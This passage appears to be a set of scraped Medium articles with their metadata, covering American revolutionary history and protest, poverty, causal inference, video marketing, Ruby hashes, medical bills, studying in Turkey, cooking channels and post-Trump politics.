wreck of their bondage behind.” On the eve of the Boston Tea Party, on December 16, 1773, the men and women of Boston were called to the Old South Meeting House to discuss what should be done about the Tea Act, which granted the East India Company a monopoly on selling tea in the colonies. In defiance of orders prohibiting such meetings, over 7,000 people came to the Old South to hear the rebel leaders speak, as well as more moderate voices. In the end, the determination was made that there could be no compromise over the Tea Act. The English Parliament must be sent a clear message that oppressions of the colonial freedoms would not be tolerated. The tea of the East India Tea Company, a symbol of British oppression, must be destroyed. Bettmann Archive/Getty Images Josiah Quincy Junior offered the final benediction to the gathered masses before they left the Meeting House to go to the harbor and destroy the hated tea: “I see the clouds which now rise thick and fast upon our horizon, the thunders roll, and the lightnings play. To that God who rides on the whirlwind and directs the storm I commit my country.” All in all, it took about sixty men little more than three hours to destroy 342 chests and throw 46 tons (92,000 pounds) of tea into the frigid waters of Boston Harbor: the American Revolution had begun. Parliament responded to the Boston Tea Party with another act aimed to crush the spirit and the economy of the Massachusetts colony. The port of Boston was to be shut down until full reparations for the dumped tea was made, and even more British troops would be stationed in the town to enforce the blockade. But instead of crushing the colonial uprising, the Boston Port Act brought new and united resolve to all the American colonies. In the fall of 1774 the Continental Congress began meeting, with twelve colonies sending representatives. By the time the Battle of Concord and Lexington was fought in April 1775, American protests had turned into coordinated acts of preparation for actual war against England. The Battle proved to be a routing of the British troops and they were forced to retreat to Boston, where they would be held under siege by the colonial forces for the next eleven months. Lord Percy, a British commander, wrote of his surprise in the outcome: “Rebels attacked us…with perseverance & resolution. . . . Whoever looks upon them as an irregular mob, will find himself much mistaken.” Abigail Adams saw the battle as final proof that England was no longer fit to rule over the colonies, not because they had been forced to retreat but because they had fired on their fellow citizens: “O Britain Britain how is thy glory vanished — how are thy Annals stained with the Blood of thy children.” Although Josiah Quincy Junior had died in the days following the Battle (while returning from England with a secret message for the rebels which was never delivered and which died with him), his words remained to stir his fellow rebels — and can still inspire today’s protesters who gather, day after day, to march for meaningful change in our country. As Quincy wrote in a letter to his wife from England, “It is yourselves, it is yourselves must save you; and you are equal to the task.” John Trumbull’s “The Death of General Mercer at the Battle Princeton, January 3, 1777, Yale Art Gallery History teaches us that lessons not learned will be taught again and again. The American rebels fought for rights they deemed basic and unquestionable — and today we march for those rights again. As for the current Administration, and all who deny the importance of black lives and of justice for all, and fail to ensure the right of every American citizen to be safe in his or her own home, the lessons of history will repeat. What happened the last time a monarch tried to control Americans with the help of sycophants? I only hope that this time the revolution will take place on the floor of the House and the Senate, in state and local governments, and in police precincts — and in the voting booth this November. As the American rebels declared in the fall of 1772 in a pamphlet that was distributed throughout the American colonies, “Let us disappoint the Men, who are raising themselves in the ruin of this Country. Let us convince every Invader of our Freedom, that we will be as free as the Constitution…will justify.”

https://medium.com/nina-sankovitch/the-american-revolutionaries-would-be-marching-now-35f7112cd40d

['Nina Sankovitch']

2020-06-09 16:24:04.936000+00:00

['My Books', 'History', 'Revolution', 'Protest', 'American History']

POVERTY

It was in a conversation with Tiko that I began to see overpopulation in a different light. I always thought that the problem was straight; parents gave birth to plenty of children because they were uneducated, they don’t understand how things work and hence make mistakes. Tiko explained another new side of the issue that I had never considered before. Most of our population still lives in rural areas, which means their livelihood is almost completely dependent on agriculture. For a farmer, the more children they have the more hands-on the farm. If you have 3 children, the size of land you can plow will not be the same for someone with 5 children (all other factors being equal). The more children, the more hands-on the farm and more yields at the end of the year. So, while we in the city consider the cost of taking care of more children, the farmer in the village thinks differently. Take for instance another example. For most of Northern Nigeria, the more children the more votes. I’ve heard the arguments again and again that Christians in Plateau need to give birth to more children to balance the ratio of Muslims giving birth. So, the population is also a political issue. To solve overpopulation, one must fix these problems. But that’s not the topic today. It’s poverty. Poor people. And the way we talk about it. Photo by Jordan Opel on Unsplash Recently, we’ve been flying these words around; poverty, poor people, vulnerable people, less privileged, orphans, widows, etc. These words describe a realistic condition however, they are mostly demeaning. How do these words influence “poor people” in how they think of themselves? We’ve never thought about that. The tag with which we brand “these people” is not the only crime we are committing in the fight against poverty, our approach (which stems from how we view “poor people”) is disastrously faulty. Our approach does not seek to lift people out of poverty. It seems we are more interested in continuously having poor people that we can always say we are helping. The repetitive generational circle of poverty is reinforced by a public that always stigmatizes “poor people” even when helping them. It is not difficult to imagine the mindset that a boy will grow up with when all his life he has been told he is different, not in a good special way, but in a disadvantageous way. Soren Kierkegaard once said, “Once you label me, you negate me”. Our statements on poor people are more often than not an indictment of their lives. Words that define their present predicament and concludes their destiny. The way we’ve designed our approach to helping “poor people” is often to help them stay poor without dying, rather than helping them rise and contributing meaningfully to society. It’s the reason we as a nation and a continent have not lifted a large number of people out of poverty. In fact, that’s the state of our national and state economies — we are basically surviving, not intending to rise to a point where we can live off on our own. When my mum died, the church always had this offering they made for orphans and widows. Most times they say that the sons/daughters of widows should wait back to receive the offerings gathered. Their approach to the situation was well-intended but embarrassing. It was true that I had lost my mum, and it was true that we were struggling. But we were all struggling in Jenta. A place where everyone was struggling. Truth be told, we were better than off than many of the people who were advised to contribute to us. Moreso, the way I saw it then was that people were more interested in giving so they can say they’ve given to poor people who cannot afford rather than helping us become sustainable. This circle happened for 6 years until my dad married again. I hated every bit of it and never stayed for any of their meetings. I was not an orphan neither was I the son of a widower, as per their definition of it. Over time I’ve become exposed to another set of “poor people”. Those who celebrate “poorness”. They are the ones who think they deserve every aid or support from anywhere that is coming. They display their poverty constantly by saying in various forms that they need this or they need that, they want whatever that is free. For these ones, being poor is an honorable badge they wear around in order to obtain benefits — a pass for free things. I was the proud poor and these were the humble poor. In my experience, I have seen that the humble poor have often remained poor for most of their lives. And then pass it on to their children. Poverty becomes a hereditary status. The mindset the humble poor promote and the cheerful donors accept is that poor people need help in everything, they are totally helpless and cannot do anything on their own. It’s the reason why we want to give them everything, including toothpaste. And this is the crux of why “poor people” mostly remain poverty throughout their lifetimes. You cannot fight poverty without poor people. You cannot fight poverty by “helping poor people”. You can only help poor people when they are helping themselves. Poverty can only be solved when “poor people” decide to change their fortunes, not through the aids they receive. There’s a place for aid, but aid does not solve the problem of poverty. Poor people need to become major stakeholders in discussions of how they should be helped. Rather than saying, I want to do this for you? It is time we begin asking, “What can you do? What are you doing that I can help you with? What do you want to do that will solve your lack of food, funds, or material wealth?” The only justifiable time for aid is during times such as these. Times of crisis. Other than this, what we need to do is to work WITH (not for) poor people to improve their living conditions. Many models already exist as to what nations, NGOs, Government bodies, and individuals can do to solve the problem of poverty. Germany after World War 2. Japan after World War 2. China after the disastrous Great Leap Forward. Scandinavian Countries. What’s holding us back is that we have been assuming many things that have proven to be failures, but we are unwilling to abandon them. My hope is that covid19 revealed to us how much we have been providing aid to the poor and haven’t solved the problem of poverty around here. PS: If you had asked me in those years that I was classified as an orphan what I wanted the most, it wasn’t necessarily food, I wanted a laptop. I was fascinated by computers. Today, computers contributed significantly to my income.

https://medium.com/@lengdungtungchamma/poverty-94795b17f2e9

['Lengdung Tungchamma']

2020-05-06 08:49:44.497000+00:00

['Poverty Alleviation', 'Poverty', 'Sustainable Development']

Learning Causal Models

In the last episode we developed the first tools we need to develop the theory needed to formalise interventions and counterfactual reasoning. In this article we’ll discuss how we can go about learning such a causal model from some observational data, and what constraints are required for doing this. Note, this is an active area of research and so we really don’t have all the tools yet. This should be both a cautionary note and an exciting motivation to get involved in this research! This is really when the theory of causal inference starts to get exciting, so tighten your seat-belts. Identifiability Previously, we discussed the idea that an SCM induces a joint distribution over the variables of interest. For example, the SCM C → E induces P_{C,E}. Naturally, we wonder whether we can identify, in general, whether the joint distribution came from the SCM C → E or E → C. It turns out, the graphs are not unique. In other words, structure is not identifiable from the joint distribution. Another way of phrasing this is the graph adds an additional layer of knowledge. Non-uniqueness of graph structures: For every joint distribution P_{X,Y} of two real-valued variables, there is an SCM Y = f_Y(X, N_Y), X ⟂ Y, where f_Y is a measurable function and N_Y is a real-valued noise variable. This proposition indicates that we can construct an SCM from a joint distribution in any direction. This is crucial to keep in mind, especially if we plan on trying to use observational data to infer causal structure. We are now ready to discuss some methods of identifying cause and effect with some a priori restrictions on the class of models we are using. Additive Noise Models Our first class of model are the linear non-Gaussian acyclic models (LiNGAMs). Here we assume that the effect is a linear function of the cause up to some additive noise term, E = 𝜶C + N_E, 𝜶∈ℝ. Note, we are explicitly removing the possibility that the additive noise is Gaussian in nature. With this restrictive assumption in place, we can formulate the identifiability result we are looking for: Identifiability of linear non-Gaussian models: Given the joint distribution P_{X,Y} having linear model Y = 𝜶X + N_Y, N_Y ⟂ X, with continuous random variables X, N_Y, and Y. Then there exists β∈ ℝand random variable N_X such that X = βY + N_X, N_X ⟂ Y, if and only if N_Y and X are Gaussian. Peters provides a lucid example of this in action. Here we have uniform noise over X and a linear relationship between the variables of interest. The backwards model, shown in blue, is not valid because the noise term over X is not independent of the variable Y, violating the independence condition. Interestingly enough, non-Gaussian additive noise can be applied to estimating the arrow of time from data! We are now ready to extend the discussion the nonlinear additive noise models. Additive noise model (ANM): The joint distribution P_{X,Y} is said to admit an ANM from X to Y if there is a measurable function f_Y and a noise variable N_Y such that Y = F_Y(X) + N_Y, N_Y ⟂ X. We can extend the identifiability condition to include ANMs as well. For brevity I shall not include it. Peters, however, provides a nice description and proof sketch in chapter 4 of his book. Further extensions, such as to discrete ANMs and post-nonlinear models, are possible and described in the literature. Information-Geometric Causal Inference We now turn to the idea of formalising the independence condition between P_{E|C} and P_C. Assuming the (strong) condition that Y = f(X) and X = inverse f(Y), the principle of independence of cause and mechanism simplifies to the independence between P_X and f. Avoiding the detailed mathematics for now, the results show that the ‘uncorrelatedness’ of log(f’) and p_X necessarily implies correlation between -log(f’) and p_Y. The logarithms here are used for the sake of interpretibility of the result, but it is not a necessary formulation for the result to hold. It has been shown, as we shall soon come across, that the performance of semi-supervised learning methods is dependent on the causal direction. IGCI can explain this using assumptions similar to what we have just discussed. Next up With that reference to machine learning, that should satisfy for curiosity — at least temporarily. In the next session we’ll take this idea further and discuss some more theory before jumping into the problem of machine learning. Resources This series of articles is largely based on the great work by Jonas Peters, among others:

https://sgrimbly.medium.com/learning-causal-models-99c097b8ff66

['St John Grimbly']

2020-08-10 07:35:07.875000+00:00

['Causality', 'Machine Learning', 'Statistics', 'Aritficial Intelligence', 'Reinforcement Learning']

New age of videos

We enjoy watching videos on various subjects. As they are very fun, helpful, and informative, videos are a great source of attraction. There’s an ocean full of multiple groups and pieces of footage. You only need to enter a subject, and the videos for that particular category will be available on numerous contents browsing interactive media platforms. These days, interactive videos are the latest emerging priority of top brands to make their products meet the correct target demographic and involve them through their new marketing objectives. Let’s talk about it in depth. What Is An Interactive Video? They are digital videos like any of them out there, but what makes it different is its purpose and target audience with over 82% of the world’s population watching them. They are made to enhance the user interaction with the company to build a good consumer bond so they can have loyal and dedicated consumers. Even 54% of consumers these days want brands to make more videos about their products so the consumer can know in detail about them. This suggests that you would not merely go on a straightforward ‘jump,’ play and pause route, but your videos will have multiple distinct routes that viewers will follow according to their own choice. Not only are interactive videos found as an incredibly valuable platform for markets, but it also seems to be an amazingly varied platform in particular and ideal for any enterprise. We find immersive videos on popular video-sharing sites. These clips are natural, allowing one or more options to be selected when the clip is streaming. You could wait until the end of it to see which character you loved most in the video, which could either unlock a new video or give you information about the character you enjoyed. Other types of interactive videos are interactive tutorials, selecting adventure games, etc. With this help, we can form a perception of what communicates with each other. Perks Of An Interactive Video This question might arise in your mind as many brands out there do make interactive videos and still fall prey to the market then why burn your hard-earned money in it. This is a very legit and sound question. Let’s see the perks of creating an interactive video. They are spreading like fire — We have seen many videos get viral or even considered buying a product by looking at its commercial. Brands create interactive videos at an impressive rate. They already account for 36% of all generated video content. Consumers, on the other hand, react with elevated participation rates to interactive content. Viewers watch it 44 % longer than linear video. Track your growth: Like the old times where people could only monitor their view and know just the status of the video has changed. They could now monitor clicks within a file, evaluate multiple paths taken with branching, gather data from fields in video type, and many more. To manage these metrics, there are many resources you can use. Like the old times where people could only monitor their view and know just the status of the video has changed. They could now monitor clicks within a file, evaluate multiple paths taken with branching, gather data from fields in video type, and many more. To manage these metrics, there are many resources you can use. They are more interactive : It can be possible to get confused while a consumer is viewing a linear file. 87% of audiences are using more than one device at a time, which means you are still competing for the attention of your fans. Interactive video allows watching active rather than inactive, providing a game-like environment that attracts and retains the interest of a viewer and resulting in a spike in user activity-a massive rise that most advertisers cannot afford to give up. It can be possible to get confused while a consumer is viewing a linear file. 87% of audiences are using more than one device at a time, which means you are still competing for the attention of your fans. Interactive video allows watching active rather than inactive, providing a game-like environment that attracts and retains the interest of a viewer and resulting in a spike in user activity-a massive rise that most advertisers cannot afford to give up. Enjoyable : One may participate in an immersive video with the content presented, a viewer would be more likely to recognize the video’s brand. There are currently 32 per cent more unforgettable immersive video advertisements than linear video ads. Also, simply put, when they come off as entertaining stories, they are usually more enjoyable to watch than a linear clip. In today’s world, 87% of marketing professionals use interactive videos to reach their target consumers and flourish their brand name in the market. Many more good things could be talked about in this section, but currently, the once mentioned are already enough to educate you about them. Recapitulation Of Interactive Videos Interactive videos are a thing of tomorrow which have already taken over the video marketing strategies and made its way through making most of the videos of different segment fail in terms of marketing. They are made for a purpose as mentioned above, i.e. to attract people in need of their products. 73% of people are more likely to buy a product if they come to know about it through different streaming platforms. Interactive media is a gamified, non-linear format that allows viewers to press, drag, scroll and engage with video content. It is a common, trackable, and highly efficient way of converting users and helping you achieve your goals in marketing. Make sure to follow such methodologies as you build your immersive footage and set the right foot in the market. Your videos should not just be simple linear videos; they should have some basic characteristics in them. Let’s discuss a few of the characteristics to have a kickstart. Provide information carefully: The information of the product you pass on to the viewer should be placed with care and concern as a simple here, and there can make or break the deal. The information of the product you pass on to the viewer should be placed with care and concern as a simple here, and there can make or break the deal. Don’t bore people: Don’t boasts about your brand educate them about what purpose does your product serve and how would it be helpful to them. Don’t boasts about your brand educate them about what purpose does your product serve and how would it be helpful to them. Make users a part of it: Involving real-life people instead of actors and make them review your product would help the audience believe the purpose of your product even better. There no doubt interactive videos are catching up with the old ways of advertising and changing the game completely. It has brought advertisements to another level of marketing with different strategies and methodologies. Organizations that use interactive videos as a tool to advertise get 66% more qualified leads per year compared to organizations that don’t. Choose your product and make the interactive video right!

https://medium.com/@thecreativery/new-age-of-videos-7557cce29c3

[]

2021-04-25 17:16:24.598000+00:00

['Videos', 'Video Marketing', 'Interactive Narratives', 'Interactive Content', 'Interactive Video']

An Introduction to Ruby Hash

The basics Let's start with some basic operations. Below we have an example of how to initialize an empty hash. students = Hash.new or students = {} Here we have an empty hash, without any key-value pairs. Now the question is, what if someone wants to access a key that does not exist in the hash? Well, the answer is nil , which is the default value. puts "#{students[:name]}" # nil Let’s add some values to the hash using symbols. There are two ways to declare symbols as keys. students = Hash.new students = {name: 'John', email: 'john@col.com'} puts "#{students[:name]}" # or students = Hash.new students = {:name => 'John', :email => 'john@col.com'} puts "#{students[:name]}" I prefer the former one because I’ve to type less! How about initializing with default values, here we have initialized an empty hash with a default value of “no data” for every key. students = Hash.new("no data") puts "#{students[:email]}" # no email # or students = Hash.new students.default = "no data" puts "#{students[:email]}" # no email The Hash.new() creates a single default object for every key. That’s why by altering it for one key changes for other keys as well. For example, when we change the default value for the key id , it affects other unassigned key’s default value, in this case, name . students = Hash.new("no data") students[:email] = "john@col.com" puts "#{students[:email]}" # john@col.com puts "#{students[:id]}" # no data puts "#{students[:name]}" # no data students[:id].upcase! puts "#{students[:email]}" # john@col.com puts "#{students[:id]}" # NO DATA puts "#{students[:name]}" # NO DATA If the above code behavior is not desired, you can use Hash.new {|hash, key| block } instead. This method creates a default object each time for different keys. students = Hash.new {|hash, key| hash[key] = "no data" } students[:email] = "john@col.com" puts "#{students[:email]}" # john@col.com puts "#{students[:id]}" # no data puts "#{students[:name]}" # no data students[:id].upcase! puts "#{students[:email]}" # john@col.com puts "#{students[:id]}" # NO DATA puts "#{students[:name]}" # no data In short, Hash.new(some_value) sets a default value of some_value for every key that does not exist in the hash, Hash.new {|hash, key| block } creates a new default object for every key that does not exist in the hash, and Hash.new() or {} sets nil for every key. The essentials So far, we have learned how to add values to the hash and access those values using their associated keys. Let’s explore some helpful hash methods. First, let’s print out the keys and values of a hash. tags = { c: 20, b: 10, a: 30 } tags.each {|key, value| puts "#{key} is #{value}" } # c is 20 # b is 10 # a is 30 According to ruby documentation, “Hashes enumerate their values in the order that the corresponding keys were inserted”. Now we will sort the hash in different ways. tags.sort # output # [[:a, 30], [:b, 10], [:c, 20]] tags.sort_by { |k, v| k } # output # [[:a, 30], [:b, 10], [:c, 20]] tags.sort_by { |k, v| v } # output # [[:b, 10], [:c, 20], [:a, 30]] Since we have key-value pairs in our hash, we can use has_key? to find a specific key or has_value? to find value in the hash. tags.has_key?(:e) # false tags = { c: 20, b: 10, a: 30, e: 30} tags.has_key?(:e) # true tags.has_value?(30) # true Why not print out the hash keys and values? puts "#{tags.keys}" # [:c, :b, :a, :e] puts "#{tags.values}" tags.values # [20, 10, 30, 30] Deleting a key-value pair from a hash is easy. The method delete takes the key as an argument, and it returns nil if the key does not exist or the value otherwise. tags = { c: 20, b: 10, a: 30, e: 30} tags.delete(:e) puts "#{tags.keys}" Practical applications Enough with the basics and essentials. Let’s dive into practical applications of ruby hash. The problem we are trying to solve is to get the frequency from a list of numbers. The first example deals with the built in method each_with_object . numbers = [1, 1, 1, 2, 4, 65, 55, 54, 55] freq_hash = numbers.each_with_object(Hash.new(0)) { |number, hash| hash[number] += 1 } puts "#{freq_hash}" # {1=>3, 2=>1, 4=>1, 65=>1, 55=>2, 54=>1} For the second example, we are using the built-in method each . numbers = [1, 1, 1, 2, 4, 65, 55, 54, 55] freq_hash = Hash.new(0) numbers.each { |number| freq_hash[number] += 1 } puts "#{freq_hash}" # {1=>3, 2=>1, 4=>1, 65=>1, 55=>2, 54=>1} Good news if you are using Ruby 2.7+. It has a built-in method that solves this specific problem. numbers = [1, 1, 1, 2, 4, 65, 55, 54, 55] numbers.tally # output # {1=>3, 2=>1, 4=>1, 65=>1, 55=>2, 54=>1} For the last example, we have a sample lookup table of the months.

https://towardsdatascience.com/an-introduction-to-ruby-hash-1c1c4b2dd905

['Mahbub Zaman']

2020-12-28 07:31:28.671000+00:00

['Data Science Training', 'Software Engineering', 'Programming', 'Ruby', 'Productivity']

My book is here! “But What if it Wasn’t a Sardine Delivery Man?”

My book is here! “But What if it Wasn’t a Sardine Delivery Man?” July 18, 2019 View my book on Amazon

https://medium.com/voiceedu/my-book-is-here-but-what-if-it-wasnt-a-sardine-delivery-man-8edb1305247

['Julie Daniel Davis']

2019-07-20 05:45:19.509000+00:00

['Privacy', 'Kindle', 'Kids Books', 'Amazon', 'Digital Citizenship']

Stressed Over Unplanned Medical Bills? Here Is A Plan.

In August of 2014, at 39 years old, I was unexpectedly diagnosed with breast cancer. Not only had I started a job at a new employer earlier that year making $8 less per hour than at my previous employer of 13 years (see my article called Stepping Back in Order to Step Up Your Career), but also was navigating the life of a newly single/divorced mom of two teenage boys. In addition to the surprising medical news, I was also told by my new employer that our company had been sold and therefore might mean the loss of my job if I didn’t move into a completely new department and role. Did I have a plan for all of this? Absolutely not…and so I went into extreme “fight or flight” mode. I had no idea where to even begin. The shock and stress looming over me caused many thoughts of what I would do if I were to lose my job, need chemotherapy, or worse. Would I need to go live with my parents at this age? Would I go bankrupt? The thoughts were enough to send anyone into a downward spiral of deep depression. Did I make it through successfully? Yes…I did…and so can you. If you are currently experiencing a situation similar to mine or worse and it seems your financial situation is moving towards rock bottom, please don’t panic. There are ways to overcome this often-normal life dilemma and swim back to the shore of “I survived this”. Read on to discover the seven essential plans that I came up with to manage this unfortunate and abrupt disruption of my life’s financial fate. Plan #1 — Reach out to your company’s HR department about your options with FMLA and paid-time off. The first thing that you want to do when needing to be out of work for an unexpected medical illness, for yourself or a family member, is to determine what your rights are under FMLA (Family Medical Leave Act), what and if any short-term disability payments are available and how much paid time off you are eligible for. Your company’s HR department should be able to assist you with all of this planning. For employers with less than 50 employees, FMLA does not apply so you will need to ask or research the employee handbook/guidelines for how your specific employer deals with unpaid medical leave. In my particular case, I was able to apply for FMLA and short-term disability payments but still had to use paid time off for the first 8 days out of work. If you or your loved one’s medical emergency cannot be planned, such as surgery after a heart attack, stroke, car accident, or other sudden “need to be rushed to the hospital ASAP” issues, ask a family member or friend to contact your company’s HR department for you to ask the above questions. The paperwork can all be worked out within a few days or so. Plan #2 — Call your health insurance company to find out what medical costs are covered. Once you start getting information on your physician’s plan for you or your family member’s medical treatment, make a call to your health insurance company to find out what all is covered and for how much. Most often this will be a certain percentage such 70 or 80 percent after your plan’s deductible. Sometimes the insurance company will cover 100 percent for certain procedures. An example of this is when I was trying to determine if my breast surgeon’s advice of my having bilateral mastectomy was truly necessary. Upon investigation, I found out that my insurance company paid almost 100 percent to perform the blood test that would show if I had the inherited gene that increases your chance of breast cancer by 80 percent. This very fortunate and expensive test covered by my insurance helped me with making many more important medical decisions as I moved forward with treatment. Plan #3 — Try not to worry about anything while in the hospital. While I know that it is truly difficult to not worry about the outcome of your or your family member’s health or financial situation while in the hospital, I would advise to just let it all go while you are there. A few days or so will not make that huge of a difference in getting the financial part figured out so just get rest and spend your time recouping enough to be released from the hospital. Unfortunately, these days hospitals release patients almost too quickly so as to comply with health insurance guidelines. After being put under general anesthesia and having a breast lumpectomy, along with two lymph nodes removed, I was released from the hospital within hours after surgery. I was in no way shape or form able to remotely consider my financial state or any other matter at that time. Plan #4 — Let the medical bills pile up about a month after the procedure or surgery. Medical bills can add up quickly. Quite often, these bills are pouring into your mailbox while you are still recovering and/or receiving continuing medical treatment. This can unfortunately cause a great deal of stress. Since I was undergoing radiation treatment at the time my breast lumpectomy and other previous bills started piling up, I was just too tired to even open them. I found out later that it takes about two months before a hospital starts sending you threats of a collection’s agency. Therefore, I would advise to just not worry about them for about a month. Nothing terrible will happen until you get closer to the two-month state of owing the debt. Plan #5 — Sort all bills by medical supplier and scrutinize each one to ensure that you agree with all costs. Once you have had about a month to recover a little, take a little time to sort through and organize all of your medical bills by supplier and month billed. You will want to look at the most recent bill and then really study what is being charged, how much your insurance plan has covered and what is left over for you to pay. Make sure that your insurance company has covered the correct percentage of the bill. If they have not paid what you think they should have paid, then you will want to make a call to them to find out why it looks incorrect. Plan #6 — Contact each payor and ask for ways to apply for financial assistance or consolidation of bills. Now that you have organized all medical bills by supplier, the best thing you can do before paying any of them is to give each one a call and ask if they have a financial assistance program and/or way to consolidate the bills. Unfortunately, I did not realize this option even existed at first, but then, in desperation upon being sent to a collections agency because I couldn’t pay $12,000 within two months, I started asking for help. The cancer center where I was going to for my radiation and oncology treatments was so helpful…all I had to do was ask. The financial counselor there was the one who facilitated getting 50% of my hospital bills reduced and then setting up a monthly payment plan that I could afford for the remaining balance. She was also able to consolidate many bills (surgeon, hospital, pharmacy, etc.) into one. Plan #7 — Celebrate your recovery and the paying off of one bill at a time. This is the best and most satisfying part of all…that is paying off the medical bills…one by one. Yes, you have more than likely been drastically set back on you finance plan to success; however, life issues like unforeseen medical emergencies are almost 100 percent likely to happen. If you are like me and didn’t already have a three to six-month savings plan in place for this type of issue, you can still overcome it. Take one small bill at a time, pay it off, then move on to the next one. And through it all, keep telling yourself that this is just a minor setback for a short period in your life. You will and can survive with the right mindset and plans in place.

https://medium.com/swlh/stressed-over-unplanned-medical-bills-here-is-a-plan-478adcfa7593

['Heidi Alexander']

2020-01-05 10:32:19.811000+00:00

['Medical Bills', 'Healthcare', 'Paying Off Debt', 'Planning And Budgeting', 'Fmla']

Distracted by trends | Juwon Ogungbe

Fads and trends come and go, surfacing, going under and then resurfacing as time passes. It is tempting to get distracted by the bobbing and weaving. Remaining tuned in to what’s going on is necessary for many folks. Reading the memoirs of a wordsmith of my parents’ generation, I was struck by some cultural attitudes and practices that have prevailed through the ages. Upholding timeless values is easier for some people to focus on than it is for others. Those who have the talent for bending to suit the whims and caprices of fashion should make the most of their attributes. Dedicated individuals often reap dividends further down the line. Does anything live forever?

https://medium.com/@juwon-ogungbe/distracted-by-trends-juwon-ogungbe-bf43aac0e5e3

['Juwon Ogungbe']

2020-12-27 11:06:06.165000+00:00

['Trends']

Study in Turkey for Foreigners

The name of the field of education in recent years, Turkey has become an important country in the world to announce location. The facilities it provides to students, increasing the quality of education and healthy living standards of foreign students for university education are among the factors that influence the choosing Turkey. Although foreign students have the same entrance requirements to state or private universities, there may be different document requests and entry requirements between universities in some cases. Located over 170 universities, all universities in Turkey; With its high-quality education, campuses in social life and many different opportunities, it plays an important role in both Turkish and foreign students’ preparation for life and gaining professional competence. Here, foreign students are required to do to get university education and study in Turkey… Admission Requirements for Foreign Students to Undergraduate Programs Foreign nationals who want to getuniversity education in Turkey as students must first complete the required documents and submitted to the relevant authorities. The following documents are required from foreign students who want to study in Turkey at university; Student acceptance form Each university has its own admission form and these forms must be filled in completely and submitted. High school or equivalent school diploma High school diploma; It must be approved by Turkish Foreign Representatives or notarized and translated into Turkish. Transcript The transcript must also be certified by the school or by the notary and foreign representatives and translated into Turkish. Financial Guarantee Letter Registration fee These documents required for registration to the university must be submitted to the relevant departments of the university by the deadline specified in the academic calendar. Registration cannot be made for problems such as document delay or missing documents. Foreign nationals entering the students’ language proficiency in order to receive university education in Turkey and should take the points qualification required by the university. Students who do not get the required score in the language proficiency exams receive language preparatory education for one (1) year. After these trainings, students who achieve language proficiency are eligible to take the department courses in university programs. Applied University Entrance Examinations for Foreigners in Turkey Today, every university holds the exam for foreign students in Turkey. Exams for foreign students of the university to be preferred are shared on the official website of the universities in detail. Students can easily access all information such as exam dates, base scores and requirements to take the exam through the university. University entrance exams for foreign students; It is done within the body of each university . What are the Legal Requirements for Foreign Students? Student Visa An acceptance letter is sent by the university to foreign students who succeed in the exams and gain the right to enter the university. Students must obtain visas in foreign embassies students going to Turkey with the acceptance letter. If students can get a student visa in Turkey by foreign representative. Student visa is among the mandatory documents at the university enrollment stage. Residence permit Foreign nationals who want to take university education in Turkey must obtain a residence permit of students. Residence permits are issued by the Immigration Administration in the cities of residence. Residence permits of foreign students are renewed every year. Health insurance Turkey will be validated and students should be made to include the whole of the health care costs of health insurance. Some universities can afford the health and medicine costs of foreign students. However, if the university does not have such a scope, all health expenses of foreign students will be covered by them. Study Sehir Educational Consultancy provides education services on university registration for foreign students and provide all necessary document to be enrolled in universities.

https://medium.com/@jameslexico/study-in-turkey-for-foreigners-38ffddd6d6b7

['James Lexico']

2020-12-11 13:17:23.422000+00:00

['Study In Turkey', 'University', 'Education In Turkey', 'Turkey', 'Education']

These YouTube channels are a great source for inspiration, education, and entertainment

Cooking, baking & nutrition: I re-discovered my passion for cooking and baking about 1.5 years ago. However, I felt a bit uninspired when I started and found some great YouTube channels to get some inspiration and delicious recipes. Also, I constantly try to have a more mindful and balanced nutrition (tough challenge for me but this is a different topic). Epicurious pic Epicurious: One of the biggest cooking channels out there. I love their series “4 Levels” (episode length 15–20 min) where three cooks of different proficiency levels (amateur, hobby, professional) cook the same dish following their own recipe. Afterwards, a food scientist analyzes the recipes, and it fascinates me every time how a food scientist talks about food. Not that I understand everything completely (which I also do not think is the main goal of having the food scientist in the series), but it is still fascinating. The series is highly educational as you learn new techniques and recipes while still being entertaining as well. Goodful pic Goodful: Tasty’s “healthy” channel with similar content to their main channel but focused on healthy nutrition and often vegan recipes. I like the main channel as well, but the recipes tend to be a bit too unhealthy for me sometimes and they had to cut back on some of their cool content due to COVID-19. That is why I included Goodful in this list as it provides some easy vegan recipes that serve as a great inspiration. Also, all recipes can be found in the Tasty app, which is a great plus. Munchies pic Munchies: I watch mainly one series on this channel: Street Food Icons. This series (episode length 6–10 min) takes a look at business owners of street food carts, food trucks, etc. You get a detailed insight of the stressful everyday work and get to know the owners as well — and believe me: the owners are the reason for the business’ success (my favorite: Mama Jo in New York). Pick Up Limes pic Pick Up Limes: This channel is run by lovely Sadia with a B.Sc. in dietetics and is focused around healthy, vegan nutrition but she also talks about minimalism and mindfulness. I like this channel both for Sadia herself and her great content. Her recipes, which can also be downloaded on her website, are amazing and motivated me to cook more vegan dishes (her lentil curry is amazing!). Also, she does some videos on nutrition in general and her video on sugar was a real eye opener to me (if you watch one video of hers, this should be it).

https://medium.com/@flocky_flo/these-youtube-channels-are-a-great-source-for-inspiration-education-and-entertainment-91263650723c

[]

2020-10-23 11:02:51.009000+00:00

['YouTube', 'Entertainment', 'Vlogs', 'Series', 'Recommendations']

After Trump, I’m Ready for Four Years of ‘Boring’

After Trump, I’m Ready for Four Years of ‘Boring’ Six years ago, shortly after I moved to Australia to take a job in Sydney, I had a conversation with the friend of a friend in Melbourne that opened my eyes to the way the rest of the world saw the United States at the time. I was certain that day that despite the contributions Blacks had made to US history and culture, from building the White House to keeping the Southern economy afloat for decades to inventing rock & roll, the United States was, to the outside world, a White country. “When people in foreign countries think of the US,” I reasoned out loud that afternoon in Melbourne, “they think of White people.” The friend of a friend disagreed. “But what about Barack Obama? You have a Black president,” he said. “And many of your biggest global celebrities are Black. Whenever anyone who isn’t from the US thinks about the US, they probably think about Obama or Beyoncé or Kanye West before they think about any White people. My friends and I definitely do.” I had to admit he had a point. My experiences abroad over the previous six years may have even proven him right. I’d had myriad people in various far-flung cities — from Buenos Aires to Istanbul — mention Barack Obama in the first sentence they spoke to me. The school kids at Topkapi Palace in Istanbul who started shouting “Barack Obama! Barack Obama!” as soon as they saw me coming wouldn’t have done the same to a White tourist. Black Americans, circa 2014, were pre-eminent in global consciousness in a way they hadn’t been when George W. Bush was president or at any other time since I first left the United States to travel overseas as an adult in 1993. Then along came Donald Trump, the former reality TV star who changed everything in so many ways. Sometime between the Republican National Convention of 2016 and the US Presidential Election that November, I noticed a definite shift. I was a couple of years into my stint as entertainment editor for Channel 9’s digital arm in Sydney when the website’s homepage, once a lovely assortment of primary colors, began to become dominated by red, orange, and blue. 